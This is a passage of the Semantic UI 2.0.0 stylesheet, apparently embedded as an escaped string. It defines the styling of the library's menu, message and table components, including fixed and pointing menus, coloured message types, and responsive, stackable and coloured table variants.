margin: 0em;\n  width: 100%;\n}\n\n.ui.menu.fixed,\n.ui.menu.fixed .item:first-child,\n.ui.menu.fixed .item:last-child {\n  border-radius: 0px !important;\n}\n\n.ui.fixed.menu,\n.ui[class*=\"top fixed\"].menu {\n  border-top: none;\n  top: 0px;\n  left: 0px;\n  right: auto;\n  bottom: auto;\n}\n\n.ui[class*=\"top fixed\"].menu {\n  border-left: none;\n  border-right: none;\n}\n\n.ui[class*=\"right fixed\"].menu {\n  border-top: none;\n  border-bottom: none;\n  border-right: none;\n  top: 0px;\n  right: 0px;\n  left: auto;\n  bottom: auto;\n  width: auto;\n  height: 100%;\n}\n\n.ui[class*=\"bottom fixed\"].menu {\n  border-bottom: none;\n  border-left: none;\n  border-right: none;\n  bottom: 0px;\n  left: 0px;\n  top: auto;\n  right: auto;\n}\n\n.ui[class*=\"left fixed\"].menu {\n  border-top: none;\n  border-bottom: none;\n  border-left: none;\n  top: 0px;\n  left: 0px;\n  right: auto;\n  bottom: auto;\n  width: auto;\n  height: 100%;\n}\n\n/* Coupling with Grid */\n\n.ui.fixed.menu + .ui.grid {\n  padding-top: 2.75rem;\n}\n\n/*-------------------\n       Pointing\n--------------------*/\n\n.ui.pointing.menu .item:after {\n  visibility: hidden;\n  position: absolute;\n  content: '';\n  top: 100%;\n  left: 50%;\n  -webkit-transform: translateX(-50%) translateY(-50%) rotate(45deg);\n  -ms-transform: translateX(-50%) translateY(-50%) rotate(45deg);\n  transform: translateX(-50%) translateY(-50%) rotate(45deg);\n  background: none;\n  margin: 0.5px 0em 0em;\n  width: 0.57142857em;\n  height: 0.57142857em;\n  border: none;\n  border-bottom: 1px solid #d4d4d5;\n  border-right: 1px solid #d4d4d5;\n  z-index: 2;\n  -webkit-transition: background 0.1s ease;\n  transition: background 0.1s ease;\n}\n\n.ui.vertical.pointing.menu .item:after {\n  position: absolute;\n  top: 50%;\n  right: 0%;\n  bottom: auto;\n  left: auto;\n  -webkit-transform: translateX(50%) translateY(-50%) rotate(45deg);\n  -ms-transform: translateX(50%) translateY(-50%) rotate(45deg);\n  transform: translateX(50%) translateY(-50%) rotate(45deg);\n  margin: 0em -0.5px 0em 0em;\n  border: none;\n  border-top: 1px solid #d4d4d5;\n  border-right: 1px solid #d4d4d5;\n}\n\n/* Active */\n\n.ui.pointing.menu .active.item:after {\n  visibility: visible;\n}\n\n.ui.pointing.menu .active.dropdown.item:after {\n  visibility: hidden;\n}\n\n/* Don't double up pointers */\n\n.ui.pointing.menu .dropdown.active.item:after,\n.ui.pointing.menu .active.item .menu .active.item:after {\n  display: none;\n}\n\n/* Colors */\n\n.ui.pointing.menu .active.item:hover:after {\n  background-color: #f4f4f4;\n}\n\n.ui.pointing.menu .active.item:after {\n  background-color: #f4f4f4;\n}\n\n.ui.pointing.menu .active.item:hover:after {\n  background-color: #f4f4f4;\n}\n\n.ui.vertical.pointing.menu .active.item:hover:after {\n  background-color: #f4f4f4;\n}\n\n.ui.vertical.pointing.menu .active.item:after {\n  background-color: #f4f4f4;\n}\n\n.ui.vertical.pointing.menu .menu .active.item:after {\n  background-color: #ffffff;\n}\n\n/*--------------\n    Attached\n---------------*/\n\n.ui.attached.menu {\n  border-radius: 0px;\n  margin-left: -1px;\n  margin-right: -1px;\n  width: calc(100% +  2px );\n  box-shadow: none;\n  /* avoid rgba multiplying */\n}\n\n/* Direction */\n\n.ui.attached.menu:not(.top):not(.bottom) {\n  margin-top: 0em;\n  margin-bottom: 0em;\n}\n\n.ui.top.attached.menu {\n  margin-bottom: 0em;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.top.attached.menu > .item:first-child {\n  border-radius: 0.28571429rem 0em 0em 0em;\n}\n\n.ui.bottom.attached.menu {\n  margin-top: 0em;\n  border-top: none;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.bottom.attached.menu > .item:first-child {\n  border-radius: 0em 0em 0em 0.28571429rem;\n}\n\n/* Tabular Attached */\n\n.ui.top.attached.menu:not(.fixed):not(.tabular) {\n  border-bottom: none;\n}\n\n.ui.attached.tabular.menu {\n  margin-left: 0;\n  margin-right: 0;\n  width: 100%;\n}\n\n/*--------------\n     Sizes\n---------------*/\n\n/* Small */\n\n.ui.small.menu {\n  font-size: 0.92857143rem;\n}\n\n.ui.small.vertical.menu {\n  width: 13rem;\n}\n\n/* Medium */\n\n.ui.menu {\n  font-size: 1rem;\n}\n\n.ui.vertical.menu {\n  width: 15rem;\n}\n\n/* Large */\n\n.ui.large.menu {\n  font-size: 1.14285714rem;\n}\n\n.ui.large.vertical.menu {\n  width: 18rem;\n}\n\n/* Huge */\n\n.ui.huge.menu {\n  font-size: 1.42857143rem;\n}\n\n.ui.huge.vertical.menu {\n  width: 20rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Message\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Message\n*******************************/\n\n.ui.message {\n  position: relative;\n  min-height: 1em;\n  margin: 1em 0em;\n  background: #f8f8f9;\n  padding: 1em 1.5em;\n  line-height: 1.4285em;\n  color: rgba(0, 0, 0, 0.87);\n  -webkit-transition: opacity 0.1s ease, color 0.1s ease, background 0.1s ease, box-shadow 0.1s ease;\n  transition: opacity 0.1s ease, color 0.1s ease, background 0.1s ease, box-shadow 0.1s ease;\n  border-radius: 0.28571429rem;\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.22) inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);\n}\n\n.ui.message:first-child {\n  margin-top: 0em;\n}\n\n.ui.message:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n     Content\n---------------*/\n\n/* Header */\n\n.ui.message .header {\n  display: block;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-weight: bold;\n  margin: -0.14285em 0em 0rem 0em;\n}\n\n/* Default font size */\n\n.ui.message .header:not(.ui) {\n  font-size: 1.14285714em;\n}\n\n/* Paragraph */\n\n.ui.message p {\n  opacity: 0.85;\n  margin: 0.75em 0em;\n}\n\n.ui.message p:first-child {\n  margin-top: 0em;\n}\n\n.ui.message p:last-child {\n  margin-bottom: 0em;\n}\n\n.ui.message .header + p {\n  margin-top: 0.25em;\n}\n\n/* List */\n\n.ui.message ul.list {\n  text-align: left;\n  padding: 0em;\n  opacity: 0.85;\n  list-style-position: inside;\n  margin: 0.5em 0em 0em;\n}\n\n.ui.message ul.list:first-child {\n  margin-top: 0em;\n}\n\n.ui.message ul.list:last-child {\n  margin-bottom: 0em;\n}\n\n.ui.message ul.list li {\n  position: relative;\n  list-style-type: none;\n  margin: 0em 0em 0.3em 1em;\n  padding: 0em;\n}\n\n.ui.message ul.list li:before {\n  position: absolute;\n  content: '•';\n  left: -1em;\n  height: 100%;\n  vertical-align: baseline;\n}\n\n.ui.message ul.list li:last-child {\n  margin-bottom: 0em;\n}\n\n/* Icon */\n\n.ui.message > .icon {\n  margin-right: 0.6em;\n}\n\n/* Close Icon */\n\n.ui.message > .close.icon {\n  cursor: pointer;\n  position: absolute;\n  margin: 0em;\n  top: 0.78575em;\n  right: 0.5em;\n  opacity: 0.7;\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n}\n\n.ui.message > .close.icon:hover {\n  opacity: 1;\n}\n\n/* First / Last Element */\n\n.ui.message > :first-child {\n  margin-top: 0em;\n}\n\n.ui.message > :last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n            Coupling\n*******************************/\n\n.ui.dropdown .menu > .message {\n  margin: 0px -1px;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------\n    Visible\n---------------*/\n\n.ui.visible.visible.visible.visible.message {\n  display: block;\n}\n\n.ui.icon.visible.visible.visible.visible.message {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n/*--------------\n     Hidden\n---------------*/\n\n.ui.hidden.hidden.hidden.hidden.message {\n  display: none;\n}\n\n/*******************************\n            Variations\n*******************************/\n\n/*--------------\n    Compact\n---------------*/\n\n.ui.compact.message {\n  display: inline-block;\n}\n\n/*--------------\n    Attached\n---------------*/\n\n.ui.attached.message {\n  margin-bottom: -1px;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n  box-shadow: 0em 0em 0em 1px rgba(34, 36, 38, 0.15) inset;\n  margin-left: -1px;\n  margin-right: -1px;\n}\n\n.ui.attached + .ui.attached.message:not(.top):not(.bottom) {\n  margin-top: -1px;\n  border-radius: 0em;\n}\n\n.ui.bottom.attached.message {\n  margin-top: -1px;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n  box-shadow: 0em 0em 0em 1px rgba(34, 36, 38, 0.15) inset, 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n}\n\n.ui.bottom.attached.message:not(:last-child) {\n  margin-bottom: 1em;\n}\n\n.ui.attached.icon.message {\n  display: block;\n  width: auto;\n}\n\n/*--------------\n      Icon\n---------------*/\n\n.ui.icon.message {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: 100%;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.ui.icon.message > .icon:not(.close) {\n  display: block;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 1 auto;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n  width: auto;\n  line-height: 1;\n  vertical-align: middle;\n  font-size: 3em;\n  opacity: 0.8;\n}\n\n.ui.icon.message > .content {\n  display: block;\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 1 auto;\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  vertical-align: middle;\n}\n\n.ui.icon.message .icon:not(.close) + .content {\n  padding-left: 0rem;\n}\n\n.ui.icon.message .circular.icon {\n  width: 1em;\n}\n\n/*--------------\n    Floating\n---------------*/\n\n.ui.floating.message {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.22) inset, 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.08);\n}\n\n/*--------------\n     Colors\n---------------*/\n\n.ui.black.message {\n  background-color: #1b1c1d;\n  color: rgba(255, 255, 255, 0.9);\n}\n\n/*--------------\n     Types\n---------------*/\n\n/* Positive */\n\n.ui.positive.message {\n  background-color: #fcfff5;\n  color: #2c662d;\n}\n\n.ui.positive.message,\n.ui.attached.positive.message {\n  box-shadow: 0px 0px 0px 1px #a3c293 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);\n}\n\n.ui.positive.message .header {\n  color: #1a531b;\n}\n\n/* Negative */\n\n.ui.negative.message {\n  background-color: #fff6f6;\n  color: #9f3a38;\n}\n\n.ui.negative.message,\n.ui.attached.negative.message {\n  box-shadow: 0px 0px 0px 1px #e0b4b4 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);\n}\n\n.ui.negative.message .header {\n  color: #912d2b;\n}\n\n/* Info */\n\n.ui.info.message {\n  background-color: #f8ffff;\n  color: #276f86;\n}\n\n.ui.info.message,\n.ui.attached.info.message {\n  box-shadow: 0px 0px 0px 1px #a9d5de inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);\n}\n\n.ui.info.message .header {\n  color: #0e566c;\n}\n\n/* Warning */\n\n.ui.warning.message {\n  background-color: #fffaf3;\n  color: #573a08;\n}\n\n.ui.warning.message,\n.ui.attached.warning.message {\n  box-shadow: 0px 0px 0px 1px #c9ba9b inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);\n}\n\n.ui.warning.message .header {\n  color: #794b02;\n}\n\n/* Error */\n\n.ui.error.message {\n  background-color: #fff6f6;\n  color: #9f3a38;\n}\n\n.ui.error.message,\n.ui.attached.error.message {\n  box-shadow: 0px 0px 0px 1px #e0b4b4 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);\n}\n\n.ui.error.message .header {\n  color: #912d2b;\n}\n\n/* Success */\n\n.ui.success.message {\n  background-color: #fcfff5;\n  color: #2c662d;\n}\n\n.ui.success.message,\n.ui.attached.success.message {\n  box-shadow: 0px 0px 0px 1px #a3c293 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);\n}\n\n.ui.success.message .header {\n  color: #1a531b;\n}\n\n/* Colors */\n\n.ui.inverted.message,\n.ui.black.message {\n  background-color: #1b1c1d;\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.red.message {\n  background-color: #ffe8e6;\n  color: #db2828;\n}\n\n.ui.red.message .header {\n  color: #c82121;\n}\n\n.ui.orange.message {\n  background-color: #ffedde;\n  color: #f2711c;\n}\n\n.ui.orange.message .header {\n  color: #e7640d;\n}\n\n.ui.yellow.message {\n  background-color: #fff8db;\n  color: #b58105;\n}\n\n.ui.yellow.message .header {\n  color: #9c6f04;\n}\n\n.ui.olive.message {\n  background-color: #fbfdef;\n  color: #8abc1e;\n}\n\n.ui.olive.message .header {\n  color: #7aa61a;\n}\n\n.ui.green.message {\n  background-color: #e5f9e7;\n  color: #1ebc30;\n}\n\n.ui.green.message .header {\n  color: #1aa62a;\n}\n\n.ui.teal.message {\n  background-color: #e1f7f7;\n  color: #10a3a3;\n}\n\n.ui.teal.message .header {\n  color: #0e8c8c;\n}\n\n.ui.blue.message {\n  background-color: #dff0ff;\n  color: #2185d0;\n}\n\n.ui.blue.message .header {\n  color: #1e77ba;\n}\n\n.ui.violet.message {\n  background-color: #eae7ff;\n  color: #6435c9;\n}\n\n.ui.violet.message .header {\n  color: #5a30b5;\n}\n\n.ui.purple.message {\n  background-color: #f6e7ff;\n  color: #a333c8;\n}\n\n.ui.purple.message .header {\n  color: #922eb4;\n}\n\n.ui.pink.message {\n  background-color: #ffe3fb;\n  color: #e03997;\n}\n\n.ui.pink.message .header {\n  color: #dd238b;\n}\n\n.ui.brown.message {\n  background-color: #f1e2d3;\n  color: #a5673f;\n}\n\n.ui.brown.message .header {\n  color: #935b38;\n}\n\n/*--------------\n     Sizes\n---------------*/\n\n.ui.small.message {\n  font-size: 0.92857143em;\n}\n\n.ui.message {\n  font-size: 1em;\n}\n\n.ui.large.message {\n  font-size: 1.14285714em;\n}\n\n.ui.huge.message {\n  font-size: 1.42857143em;\n}\n\n.ui.massive.message {\n  font-size: 1.71428571em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Table\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Table\n*******************************/\n\n/* Prototype */\n\n.ui.table {\n  width: 100%;\n  background: #ffffff;\n  margin: 1em 0em;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: none;\n  border-radius: 0.28571429rem;\n  text-align: left;\n  color: rgba(0, 0, 0, 0.87);\n  border-collapse: separate;\n  border-spacing: 0px;\n}\n\n.ui.table:first-child {\n  margin-top: 0em;\n}\n\n.ui.table:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n             Parts\n*******************************/\n\n/* Table Content */\n\n.ui.table th,\n.ui.table td {\n  -webkit-transition: background 0.1s ease, color 0.1s ease;\n  transition: background 0.1s ease, color 0.1s ease;\n}\n\n/* Headers */\n\n.ui.table thead {\n  box-shadow: none;\n}\n\n.ui.table thead th {\n  cursor: auto;\n  background: #f9fafb;\n  text-align: inherit;\n  color: rgba(0, 0, 0, 0.87);\n  padding: 0.92857143em 0.71428571em;\n  vertical-align: inherit;\n  font-style: none;\n  font-weight: bold;\n  text-transform: none;\n  border-bottom: 1px solid rgba(34, 36, 38, 0.1);\n  border-left: none;\n}\n\n.ui.table thead tr > th:first-child {\n  border-left: none;\n}\n\n.ui.table thead tr:first-child > th:first-child {\n  border-radius: 0.28571429rem 0em 0em 0em;\n}\n\n.ui.table thead tr:first-child > th:last-child {\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n.ui.table thead tr:first-child > th:only-child {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n/* Footer */\n\n.ui.table tfoot {\n  box-shadow: none;\n}\n\n.ui.table tfoot th {\n  cursor: auto;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  background: #f9fafb;\n  text-align: inherit;\n  color: rgba(0, 0, 0, 0.87);\n  padding: 0.71428571em 0.71428571em;\n  vertical-align: middle;\n  font-style: normal;\n  font-weight: normal;\n  text-transform: none;\n}\n\n.ui.table tfoot tr > th:first-child {\n  border-left: none;\n}\n\n.ui.table tfoot tr:first-child > th:first-child {\n  border-radius: 0em 0em 0em 0.28571429rem;\n}\n\n.ui.table tfoot tr:first-child > th:last-child {\n  border-radius: 0em 0em 0.28571429rem 0em;\n}\n\n.ui.table tfoot tr:first-child > th:only-child {\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n/* Table Row */\n\n.ui.table tr td {\n  border-top: 1px solid rgba(34, 36, 38, 0.1);\n}\n\n.ui.table tr:first-child td {\n  border-top: none;\n}\n\n/* Table Cells */\n\n.ui.table td {\n  padding: 0.71428571em 0.71428571em;\n  text-align: inherit;\n}\n\n/* Icons */\n\n.ui.table > .icon {\n  vertical-align: baseline;\n}\n\n.ui.table > .icon:only-child {\n  margin: 0em;\n}\n\n/* Table Segment */\n\n.ui.table.segment {\n  padding: 0em;\n}\n\n.ui.table.segment:after {\n  display: none;\n}\n\n.ui.table.segment.stacked:after {\n  display: block;\n}\n\n/* Responsive */\n\n@media only screen and (max-width: 767px) {\n  .ui.table:not(.unstackable) {\n    width: 100%;\n  }\n\n  .ui.table:not(.unstackable) tbody,\n  .ui.table:not(.unstackable) tr,\n  .ui.table:not(.unstackable) tr > th,\n  .ui.table:not(.unstackable) tr > td {\n    width: auto !important;\n    display: block !important;\n  }\n\n  .ui.table:not(.unstackable) {\n    padding: 0em;\n  }\n\n  .ui.table:not(.unstackable) thead {\n    display: block;\n  }\n\n  .ui.table:not(.unstackable) tfoot {\n    display: block;\n  }\n\n  .ui.table:not(.unstackable) tr {\n    padding-top: 1em;\n    padding-bottom: 1em;\n    box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.1) inset !important;\n  }\n\n  .ui.table:not(.unstackable) tr > th,\n  .ui.table:not(.unstackable) tr > td {\n    background: none;\n    border: none !important;\n    padding: 0.25em 0.75em !important;\n    box-shadow: none !important;\n  }\n\n  .ui.table:not(.unstackable) th:first-child,\n  .ui.table:not(.unstackable) td:first-child {\n    font-weight: bold;\n  }\n\n  /* Definition Table */\n\n  .ui.definition.table:not(.unstackable) thead th:first-child {\n    box-shadow: none !important;\n  }\n}\n\n/*******************************\n            Coupling\n*******************************/\n\n/* UI Image */\n\n.ui.table th .image,\n.ui.table th .image img,\n.ui.table td .image,\n.ui.table td .image img {\n  max-width: none;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*--------------\n    Complex\n---------------*/\n\n.ui.structured.table {\n  border-collapse: collapse;\n}\n\n.ui.structured.table thead th {\n  border-left: none;\n  border-right: none;\n}\n\n.ui.structured.sortable.table thead th {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  border-right: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.structured.basic.table th {\n  border-left: none;\n  border-right: none;\n}\n\n.ui.structured.celled.table tr th,\n.ui.structured.celled.table tr td {\n  border-left: 1px solid rgba(34, 36, 38, 0.1);\n  border-right: 1px solid rgba(34, 36, 38, 0.1);\n}\n\n/*--------------\n   Definition\n---------------*/\n\n.ui.definition.table thead:not(.full-width) th:first-child {\n  pointer-events: none;\n  background: transparent;\n  font-weight: normal;\n  color: rgba(0, 0, 0, 0.4);\n  box-shadow: -1px -1px 0px 1px #ffffff;\n}\n\n.ui.definition.table tfoot:not(.full-width) th:first-child {\n  pointer-events: none;\n  background: transparent;\n  font-weight: rgba(0, 0, 0, 0.4);\n  color: normal;\n  box-shadow: 1px 1px 0px 1px #ffffff;\n}\n\n/* Remove Border */\n\n.ui.celled.definition.table thead:not(.full-width) th:first-child {\n  box-shadow: 0px -1px 0px 1px #ffffff;\n}\n\n.ui.celled.definition.table tfoot:not(.full-width) th:first-child {\n  box-shadow: 0px 1px 0px 1px #ffffff;\n}\n\n/* Highlight Defining Column */\n\n.ui.definition.table tr td:first-child {\n  background: rgba(0, 0, 0, 0.03);\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Fix 2nd Column */\n\n.ui.definition.table thead:not(.full-width) th:nth-child(2) {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.definition.table tfoot:not(.full-width) th:nth-child(2) {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.definition.table td:nth-child(2) {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n/*******************************\n             States\n*******************************/\n\n/*--------------\n    Positive\n---------------*/\n\n.ui.table tr.positive,\n.ui.table td.positive {\n  box-shadow: 0px 0px 0px #a3c293 inset;\n}\n\n.ui.table tr.positive,\n.ui.table td.positive {\n  background: #fcfff5 !important;\n  color: #2c662d !important;\n}\n\n/*--------------\n     Negative\n---------------*/\n\n.ui.table tr.negative,\n.ui.table td.negative {\n  box-shadow: 0px 0px 0px #e0b4b4 inset;\n}\n\n.ui.table tr.negative,\n.ui.table td.negative {\n  background: #fff6f6 !important;\n  color: #9f3a38 !important;\n}\n\n/*--------------\n      Error\n---------------*/\n\n.ui.table tr.error,\n.ui.table td.error {\n  box-shadow: 0px 0px 0px #e0b4b4 inset;\n}\n\n.ui.table tr.error,\n.ui.table td.error {\n  background: #fff6f6 !important;\n  color: #9f3a38 !important;\n}\n\n/*--------------\n     Warning\n---------------*/\n\n.ui.table tr.warning,\n.ui.table td.warning {\n  box-shadow: 0px 0px 0px #c9ba9b inset;\n}\n\n.ui.table tr.warning,\n.ui.table td.warning {\n  background: #fffaf3 !important;\n  color: #573a08 !important;\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.table tr.active,\n.ui.table td.active {\n  box-shadow: 0px 0px 0px rgba(0, 0, 0, 0.87) inset;\n}\n\n.ui.table tr.active,\n.ui.table td.active {\n  background: #e0e0e0 !important;\n  color: rgba(0, 0, 0, 0.87) !important;\n}\n\n/*--------------\n     Disabled\n---------------*/\n\n.ui.table tr.disabled td,\n.ui.table tr td.disabled,\n.ui.table tr.disabled:hover,\n.ui.table tr:hover td.disabled {\n  pointer-events: none;\n  color: rgba(40, 40, 40, 0.3);\n}\n\n/*******************************\n          Variations\n*******************************/\n\n/*--------------\n    Stackable\n---------------*/\n\n@media only screen and (max-width: 991px) {\n  .ui[class*=\"tablet stackable\"].table,\n  .ui[class*=\"tablet stackable\"].table tbody,\n  .ui[class*=\"tablet stackable\"].table tr,\n  .ui[class*=\"tablet stackable\"].table tr > th,\n  .ui[class*=\"tablet stackable\"].table tr > td {\n    width: 100% !important;\n    display: block !important;\n  }\n\n  .ui[class*=\"tablet stackable\"].table {\n    padding: 0em;\n  }\n\n  .ui[class*=\"tablet stackable\"].table thead {\n    display: block;\n  }\n\n  .ui[class*=\"tablet stackable\"].table tfoot {\n    display: block;\n  }\n\n  .ui[class*=\"tablet stackable\"].table tr {\n    padding-top: 1em;\n    padding-bottom: 1em;\n    box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.1) inset !important;\n  }\n\n  .ui[class*=\"tablet stackable\"].table tr > th,\n  .ui[class*=\"tablet stackable\"].table tr > td {\n    background: none;\n    border: none !important;\n    padding: 0.25em 0.75em;\n    box-shadow: none !important;\n  }\n\n  /* Definition Table */\n\n  .ui.definition[class*=\"tablet stackable\"].table thead th:first-child {\n    box-shadow: none !important;\n  }\n}\n\n/*--------------\n Text Alignment\n---------------*/\n\n.ui.table[class*=\"left aligned\"],\n.ui.table [class*=\"left aligned\"] {\n  text-align: left;\n}\n\n.ui.table[class*=\"center aligned\"],\n.ui.table [class*=\"center aligned\"] {\n  text-align: center;\n}\n\n.ui.table[class*=\"right aligned\"],\n.ui.table [class*=\"right aligned\"] {\n  text-align: right;\n}\n\n/*------------------\n Vertical Alignment\n------------------*/\n\n.ui.table[class*=\"top aligned\"],\n.ui.table [class*=\"top aligned\"] {\n  vertical-align: top;\n}\n\n.ui.table[class*=\"middle aligned\"],\n.ui.table [class*=\"middle aligned\"] {\n  vertical-align: middle;\n}\n\n.ui.table[class*=\"bottom aligned\"],\n.ui.table [class*=\"bottom aligned\"] {\n  vertical-align: bottom;\n}\n\n/*--------------\n    Collapsing\n---------------*/\n\n.ui.table th.collapsing,\n.ui.table td.collapsing {\n  width: 1px;\n  white-space: nowrap;\n}\n\n/*--------------\n   Hoverable\n---------------*/\n\n.ui.selectable.table tbody tr:hover {\n  background: rgba(0, 0, 0, 0.05) !important;\n  color: rgba(0, 0, 0, 0.95) !important;\n}\n\n.ui.selectable.inverted.table tbody tr:hover {\n  background: rgba(255, 255, 255, 0.08) !important;\n  color: #ffffff !important;\n}\n\n/* Other States */\n\n.ui.selectable.table tr.error:hover,\n.ui.selectable.table tr:hover td.error {\n  background: #ffe7e7 !important;\n  color: #943634 !important;\n}\n\n.ui.selectable.table tr.warning:hover,\n.ui.selectable.table tr:hover td.warning {\n  background: #fff4e4 !important;\n  color: #493107 !important;\n}\n\n.ui.selectable.table tr.active:hover,\n.ui.selectable.table tr:hover td.active {\n  background: #e0e0e0 !important;\n  color: rgba(0, 0, 0, 0.87) !important;\n}\n\n.ui.selectable.table tr.positive:hover,\n.ui.selectable.table tr:hover td.positive {\n  background: #f7ffe6 !important;\n  color: #275b28 !important;\n}\n\n.ui.selectable.table tr.negative:hover,\n.ui.selectable.table tr:hover td.negative {\n  background: #ffe7e7 !important;\n  color: #943634 !important;\n}\n\n/*--------------\n    Attached\n---------------*/\n\n/* All */\n\n.ui.attached.table {\n  width: calc(100% +  2px );\n  margin: 0em -1px;\n  border-radius: 0px;\n  box-shadow: none;\n}\n\n/* Top */\n\n.ui[class*=\"top attached\"].table {\n  margin-top: 1em;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.table[class*=\"top attached\"]:first-child {\n  margin-top: 0em;\n}\n\n/* Bottom */\n\n.ui.table[class*=\"bottom attached\"] {\n  margin-top: 0em;\n  margin-bottom: 1em;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.table[class*=\"bottom attached\"]:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n     Striped\n---------------*/\n\n/* Table Striping */\n\n.ui.striped.table > tr:nth-child(2n),\n.ui.striped.table tbody tr:nth-child(2n) {\n  background-color: rgba(0, 0, 50, 0.02);\n}\n\n/* Stripes */\n\n.ui.inverted.striped.table > tr:nth-child(2n),\n.ui.inverted.striped.table tbody tr:nth-child(2n) {\n  background-color: rgba(255, 255, 255, 0.05);\n}\n\n/*--------------\n   Single Line\n---------------*/\n\n.ui.table[class*=\"single line\"],\n.ui.table [class*=\"single line\"] {\n  white-space: nowrap;\n}\n\n/*-------------------\n       Colors\n--------------------*/\n\n/* Red */\n\n.ui.red.table {\n  border-top: 0.2em solid #db2828;\n}\n\n.ui.inverted.red.table {\n  background-color: #db2828 !important;\n  color: #ffffff !important;\n}\n\n/* Orange */\n\n.ui.orange.table {\n  border-top: 0.2em solid #f2711c;\n}\n\n.ui.inverted.orange.table {\n  background-color: #f2711c !important;\n  color: #ffffff !important;\n}\n\n/* Yellow */\n\n.ui.yellow.table {\n  border-top: 0.2em solid #fbbd08;\n}\n\n.ui.inverted.yellow.table {\n  background-color: #fbbd08 !important;\n  color: #ffffff !important;\n}\n\n/* Olive */\n\n.ui.olive.table {\n  border-top: 0.2em solid #b5cc18;\n}\n\n.ui.inverted.olive.table {\n  background-color: #b5cc18 !important;\n  color: #ffffff !important;\n}\n\n/* Green */\n\n.ui.green.table {\n  border-top: 0.2em solid #21ba45;\n}\n\n.ui.inverted.green.table {\n  background-color: #21ba45 !important;\n  color: #ffffff !important;\n}\n\n/* Teal */\n\n.ui.teal.table {\n  border-top: 0.2em solid #00b5ad;\n}\n\n.ui.inverted.teal.table {\n  background-color: #00b5ad !important;\n  color: #ffffff !important;\n}\n\n/* Blue */\n\n.ui.blue.table {\n  border-top: 0.2em solid #2185d0;\n}\n\n.ui.inverted.blue.table {\n  background-color: #2185d0 !important;\n  color: #ffffff !important;\n}\n\n/* Violet */\n\n.ui.violet.table {\n  border-top: 0.2em solid #6435c9;\n}\n\n.ui.inverted.violet.table {\n  background-color: #6435c9 !important;\n  color: #ffffff !important;\n}\n\n/* Purple */\n\n.ui.purple.table {\n  border-top: 0.2em solid #a333c8;\n}\n\n.ui.inverted.purple.table {\n  background-color: #a333c8 !important;\n  color: #ffffff !important;\n}\n\n/* Pink */\n\n.ui.pink.table {\n  border-top: 0.2em solid #e03997;\n}\n\n.ui.inverted.pink.table {\n  background-color: #e03997 !important;\n  color: #ffffff !important;\n}\n\n/* Brown */\n\n.ui.brown.table {\n  border-top: 0.2em solid #a5673f;\n}\n\n.ui.inverted.brown.table {\n  background-color: #a5673f !important;\n  color: #ffffff !important;\n}\n\n/* Grey */\n\n.ui.grey.table {\n  border-top: 0.2em solid #767676;\n}\n\n.ui.inverted.grey.table {\n  background-color: #767676 !important;\n  color: #ffffff !important;\n}\n\n/* Black */\n\n.ui.black.table {\n  border-top: 0.2em solid 